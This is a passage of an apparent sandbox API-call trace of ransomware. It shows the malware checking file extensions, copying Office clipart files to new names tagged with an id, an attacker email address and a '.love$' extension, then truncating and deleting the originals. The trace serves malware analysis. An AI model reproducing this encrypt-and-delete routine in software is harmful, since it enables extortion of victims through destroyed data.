Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.364] lstrlenW (lpString=".zip") returned 4 [0248.364] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.364] lstrlenW (lpString=".rar") returned 4 [0248.364] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.364] lstrlenW (lpString=".bz2") returned 4 [0248.364] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.364] lstrlenW (lpString=".7z") returned 3 [0248.364] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.364] lstrlenW (lpString=".dbf") returned 4 [0248.365] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.365] lstrlenW (lpString=".1cd") returned 4 [0248.365] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0248.365] lstrlenW (lpString=".jpg") returned 4 [0248.365] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.365] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0248.365] lstrlenW (lpString="SPACE_01.MID") returned 12 [0248.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0248.512] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=4219) returned 1 [0248.512] CloseHandle (hObject=0x538) returned 1 [0248.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220 [0248.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0248.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0248.517] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0248.518] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0248.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0248.519] GetLastError () returned 0x0 [0248.519] ReadFile (in: hFile=0x538, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x107b, lpOverlapped=0x0) returned 1 [0248.521] WriteFile (in: hFile=0x450, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x1080, lpOverlapped=0x0) returned 1 [0248.523] ReadFile (in: hFile=0x538, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0248.523] WriteFile (in: hFile=0x450, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xec, lpOverlapped=0x0) returned 1 [0248.523] SetEndOfFile (hFile=0x450) returned 1 [0248.523] CloseHandle (hObject=0x450) returned 1 [0248.523] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0248.523] SetEndOfFile (hFile=0x538) returned 1 [0248.638] CloseHandle (hObject=0x538) returned 1 [0248.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0248.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1 [0248.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.951] lstrlenW (lpString=".doc") returned 4 [0248.951] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.951] lstrlenW (lpString=".docx") returned 5 [0248.951] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.951] lstrlenW (lpString=".pdf") returned 4 [0248.951] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.951] lstrlenW (lpString=".xls") returned 4 [0248.951] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.951] lstrlenW (lpString=".xlsx") returned 5 [0248.951] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.951] lstrlenW (lpString=".ppt") returned 4 [0248.951] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.951] lstrlenW (lpString=".zip") returned 4 [0248.951] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.951] lstrlenW (lpString=".rar") returned 4 [0248.951] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.951] lstrlenW (lpString=".bz2") returned 4 [0248.951] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.951] lstrlenW (lpString=".7z") returned 3 [0248.951] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.951] lstrlenW (lpString=".dbf") returned 4 [0248.952] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.952] lstrlenW (lpString=".1cd") returned 4 [0248.952] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.952] lstrlenW (lpString=".jpg") returned 4 [0248.952] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.952] lstrlenW (lpString=".doc") returned 4 [0248.952] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.952] lstrlenW (lpString=".docx") returned 5 [0248.952] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.952] lstrlenW (lpString=".pdf") returned 4 [0248.952] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.952] lstrlenW (lpString=".xls") returned 4 [0248.952] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.952] lstrlenW (lpString=".xlsx") returned 5 [0248.952] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.952] lstrlenW (lpString=".ppt") returned 4 [0248.952] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.952] lstrlenW (lpString=".zip") returned 4 [0248.952] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.952] lstrlenW (lpString=".rar") returned 4 [0248.953] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.953] lstrlenW (lpString=".bz2") returned 4 [0248.953] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.953] lstrlenW (lpString=".7z") returned 3 [0248.953] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.953] lstrlenW (lpString=".dbf") returned 4 [0248.953] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.953] lstrlenW (lpString=".1cd") returned 4 [0248.953] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0248.953] lstrlenW (lpString=".jpg") returned 4 [0248.953] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.953] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0248.953] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0248.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0248.955] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=6700) returned 1 [0248.955] CloseHandle (hObject=0x418) returned 1 [0248.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220 [0248.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0248.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0248.956] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0248.956] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0248.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0248.958] GetLastError () returned 0x0 [0248.958] ReadFile (in: hFile=0x418, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x1a2c, lpOverlapped=0x0) returned 1 [0248.960] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x1a30, lpOverlapped=0x0) returned 1 [0248.961] ReadFile (in: hFile=0x418, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0248.961] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xec, lpOverlapped=0x0) returned 1 [0248.962] SetEndOfFile (hFile=0x4c8) returned 1 [0248.962] CloseHandle (hObject=0x4c8) returned 1 [0248.962] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0248.962] SetEndOfFile (hFile=0x418) returned 1 [0248.966] CloseHandle (hObject=0x418) returned 1 [0248.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0248.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0248.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.968] lstrlenW (lpString=".doc") returned 4 [0248.968] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.968] lstrlenW (lpString=".docx") returned 5 [0248.968] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.968] lstrlenW (lpString=".pdf") returned 4 [0248.968] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.968] lstrlenW (lpString=".xls") returned 4 [0248.968] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.968] lstrlenW (lpString=".xlsx") returned 5 [0248.968] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.968] lstrlenW (lpString=".ppt") returned 4 [0248.968] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.968] lstrlenW (lpString=".zip") returned 4 [0248.968] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.968] lstrlenW (lpString=".rar") returned 4 [0248.968] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.968] lstrlenW (lpString=".bz2") returned 4 [0248.969] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.969] lstrlenW (lpString=".7z") returned 3 [0248.969] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.969] lstrlenW (lpString=".dbf") returned 4 [0248.969] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.969] lstrlenW (lpString=".1cd") returned 4 [0248.969] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.969] lstrlenW (lpString=".jpg") returned 4 [0248.969] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.969] lstrlenW (lpString=".doc") returned 4 [0248.969] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.969] lstrlenW (lpString=".docx") returned 5 [0248.969] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.969] lstrlenW (lpString=".pdf") returned 4 [0248.969] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.969] lstrlenW (lpString=".xls") returned 4 [0248.969] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.969] lstrlenW (lpString=".xlsx") returned 5 [0248.969] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.969] lstrlenW (lpString=".ppt") returned 4 [0248.970] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.970] lstrlenW (lpString=".zip") returned 4 [0248.970] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.970] lstrlenW (lpString=".rar") returned 4 [0248.970] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.970] lstrlenW (lpString=".bz2") returned 4 [0248.970] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.970] lstrlenW (lpString=".7z") returned 3 [0248.970] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.970] lstrlenW (lpString=".dbf") returned 4 [0248.970] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.970] lstrlenW (lpString=".1cd") returned 4 [0248.970] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0248.970] lstrlenW (lpString=".jpg") returned 4 [0248.970] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.970] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0248.970] lstrlenW (lpString="SUMER_01.MID") returned 12 [0248.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0248.972] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=14044) returned 1 [0248.972] CloseHandle (hObject=0x418) returned 1 [0248.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220 [0248.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0248.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0248.973] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0248.973] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0248.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0248.975] GetLastError () returned 0x0 [0248.975] ReadFile (in: hFile=0x418, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x36dc, lpOverlapped=0x0) returned 1 [0248.978] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x36e0, lpOverlapped=0x0) returned 1 [0248.979] ReadFile (in: hFile=0x418, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0248.979] WriteFile (in: hFile=0x4c8, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xec, lpOverlapped=0x0) returned 1 [0248.979] SetEndOfFile (hFile=0x4c8) returned 1 [0249.104] CloseHandle (hObject=0x4c8) returned 1 [0249.104] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0249.104] SetEndOfFile (hFile=0x418) returned 1 [0249.107] CloseHandle (hObject=0x418) returned 1 [0249.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0249.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.108] lstrlenW (lpString=".doc") returned 4 [0249.108] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.108] lstrlenW (lpString=".docx") returned 5 [0249.108] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0249.108] lstrlenW (lpString=".pdf") returned 4 [0249.108] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.108] lstrlenW (lpString=".xls") returned 4 [0249.108] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.108] lstrlenW (lpString=".xlsx") returned 5 [0249.108] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0249.108] lstrlenW (lpString=".ppt") returned 4 [0249.109] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.109] lstrlenW (lpString=".zip") returned 4 [0249.109] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.109] lstrlenW (lpString=".rar") returned 4 [0249.109] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.109] lstrlenW (lpString=".bz2") returned 4 [0249.109] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.109] lstrlenW (lpString=".7z") returned 3 [0249.109] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.109] lstrlenW (lpString=".dbf") returned 4 [0249.109] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.109] lstrlenW (lpString=".1cd") returned 4 [0249.109] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.109] lstrlenW (lpString=".jpg") returned 4 [0249.109] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.109] lstrlenW (lpString=".doc") returned 4 [0249.109] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.109] lstrlenW (lpString=".docx") returned 5 [0249.109] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0249.109] lstrlenW (lpString=".pdf") returned 4 [0249.109] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.109] lstrlenW (lpString=".xls") returned 4 [0249.109] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.109] lstrlenW (lpString=".xlsx") returned 5 [0249.109] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0249.109] lstrlenW (lpString=".ppt") returned 4 [0249.109] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.110] lstrlenW (lpString=".zip") returned 4 [0249.110] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.110] lstrlenW (lpString=".rar") returned 4 [0249.110] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.110] lstrlenW (lpString=".bz2") returned 4 [0249.110] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.110] lstrlenW (lpString=".7z") returned 3 [0249.110] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0249.110] lstrlenW (lpString=".dbf") returned 4 [0249.110] lstrcmpiW 